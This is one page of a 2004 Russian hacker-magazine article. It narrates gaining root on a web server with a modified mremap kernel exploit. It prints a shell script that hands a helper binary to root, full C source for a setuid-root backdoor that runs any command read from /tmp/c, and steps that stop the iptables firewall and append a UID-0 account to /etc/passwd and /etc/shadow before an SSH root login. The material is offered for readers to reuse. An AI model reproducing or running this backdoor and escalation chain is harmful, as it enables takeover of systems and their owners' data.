Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #71, НОЯБРЬ 2004 г.

Фатальная проверка

Master-lame-master

Хакер, номер #071, стр. 071-052-3


Скачав сплоит себе на винт (www.security.nnov.ru/files/mremap_pte.c), я открыл его для чтения и стал просматривать исходный код. К моему счастью, путь к шеллу был оформлен не в шеллкоде, а в отдельной переменной, что значительно упрощало мою работу. Мне понадобилось лишь видоизменить значение переменной launch на /tmp/cmd. Когда я этого добился, я создал во временном каталоге файл cmd со следующим содержанием:

#!/bin/sh

/bin/chown root:root /tmp/exec

/bin/chmod 0755 /tmp/exec

touch /owned

Теперь я бережно залил два хакерских файла в каталог /tmp. Для этого мне пришлось воспользоваться командой curl, поскольку любимого wget’а на сервере не было. Я начал собирать эксплойт, но тут возникла неожиданная проблема - он почему-то не захотел компилироваться. Мне было влом разбираться, в чем дело, и я выполнил это нехитрое действие на другой машине, а затем просто портировал файл. После запуска злостного munremap'а в корне успешно создался файл /owned. Можно сказать, что все шаги моего злодейского коллеги уже были раскрыты, но азарт заставил меня доработать метод выполнения рутовых команд через WWW.

Пишем свой интерпретатор

Ты, наверное, не понял, почему в листинге скрипта /tmp/cmd промелькнул загадочный /tmp/exec. Дело в том, что мне захотелось написать собственный интерпретатор, при обращении к которому выполнялась любая команда от пользователя root. Для этого мне пришлось написать одну элементарную программу на си, а затем скомпилить ее в /tmp/exec. Прога должна обладать всеми функциями интерпретатора, а запрос читать из произвольного файла. Изучи исходник моего творения, быть может, ты сам не раз к нему обратишься :).

Exec.c - рутовый интерпретатор

#include <stdio.h>

int main() {

FILE *file; /* Файловая переменная */

char cmd[200]; /* 200 символов для команды должно хватить за глаза */

setuid(0);

setgid(0); /* Изменяем уид на 0 */

file=fopen("/tmp/c","r");

fgets(cmd,sizeof(cmd),file); /* Вытаскиваем из файла /tmp/c рутовую команду */

system(cmd); /* И выполняем ее */

fclose(file);

}

Можно было поступить проще и оформить команду в виде аргумента к шеллу, но мне удобнее записывать запрос во временный файл. Оставалось залить мой интерпретатор в /tmp/exec.c и собрать самопал компилятором.

Теперь, когда мне требовалось выполнить рутовую команду, я забивал ее в файл /tmp/c, а затем запускал /tmp/exec. Перед воплощением идеи в действительность я повторно стартанул эксплойт, для того чтобы он засуидил /tmp/exec.

Ставим капканы

Даже после проверки метода на практике я не остановился на достигнутом. Мне хотелось удивить приятеля и доказать ему, что даже через Web хакер может натворить ужасные вещи. Я вбил в качестве команды строку /etc/init.d/iptables stop, которая должна деактивировать брандмауэр. Переварив злую команду, скрипт радостно сообщил, что таблицы iptables стали пустыми :). Далее я прителнетился на 22 порт, и... сервис без проблем выдал свой баннер. Остальные действия я проводил на автомате: создал юзера с 0 уидом (простой дозаписью в /etc/passwd и /etc/shadow), а затем залез по SSH в систему. Надо отметить, что опция PermitRootLogin была почему-то включена и это позволило мне проникнуть на сервер под суперюзером.

Назад на стр. 071-052-2  Содержание  Вперед на стр. 071-052-4